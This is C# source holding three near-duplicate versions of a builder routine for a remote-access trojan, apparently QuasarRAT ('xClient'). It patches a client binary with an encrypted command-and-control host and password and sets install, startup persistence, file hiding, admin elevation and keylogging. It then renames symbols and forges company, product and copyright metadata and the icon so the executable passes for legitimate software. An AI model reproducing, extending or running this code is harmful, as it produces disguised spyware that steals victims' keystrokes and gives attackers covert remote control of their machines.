public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
{
// PHASE 1 - Settings
string encKey = Helper.Helper.GetRandomName(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1, ints = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
break;
case 8: //random encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
break;
case 4: //AdminElevation
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
switch (ints)
{
case 1: //port
methodDef.Body.Instructions[i].Operand = port;
break;
case 2: //reconnectdelay
methodDef.Body.Instructions[i].Operand = reconnectdelay;
break;
}
ints++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Assembly Information changing
if (asminfo != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(output);
versionResource.FileVersion = asminfo[7];
versionResource.ProductVersion = asminfo[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = asminfo[2];
stringFileInfo["FileDescription"] = asminfo[1];
stringFileInfo["ProductName"] = asminfo[0];
stringFileInfo["LegalCopyright"] = asminfo[3];
stringFileInfo["LegalTrademarks"] = asminfo[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = asminfo[5];
stringFileInfo["OriginalFilename"] = asminfo[5];
versionResource.SaveTo(output);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(iconpath))
{
IconInjector.InjectIcon(output, iconpath);
}
}
/// <summary>
/// Builds a client executable.
/// </summary>
/// <remarks>
/// Assumes the 'client.bin' file exist.
/// </remarks>
public static void Build(BuildOptions options)
{
// PHASE 1 - Settings
string encKey = FileHelper.GetRandomFilename(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 8: //encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 9: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(options.OutputPath);
// PHASE 4 - Assembly Information changing
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(options.IconPath))
{
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
}
/// <summary>
/// Builds a client executable.
/// </summary>
/// <remarks>
/// Assumes the 'client.bin' file exist.
/// </remarks>
public static void Build(BuildOptions options)
{
// PHASE 1 - Settings
string encKey = FileHelper.GetRandomFilename(20), key, authKey;
CryptographyHelper.DeriveKeys(options.Password, out key, out authKey);
//Gets assembly info from Client.bin, but what about the extra assemblies?
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
//This looks to be where the modules are added.
//Can most likely modify this to build a "light" client.
//typeDef.FullName contains the information for the module. So we can create a custom array to create a light module, that can then be upgraded later.
foreach (var typeDef in asmDef.Modules[0].Types)
{
MessageBox.Show(typeDef.FullName);
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3: //key
methodDef.Body.Instructions[i].Operand = key;
break;
case 4: //authkey
methodDef.Body.Instructions[i].Operand = authKey;
break;
case 5: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 6: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 7: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 8: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 9: //encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 10: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
case 11: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
case 6: // HideInstallSubdirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(options.OutputPath);
// PHASE 4 - Assembly Information changing
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(options.IconPath))
{
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
}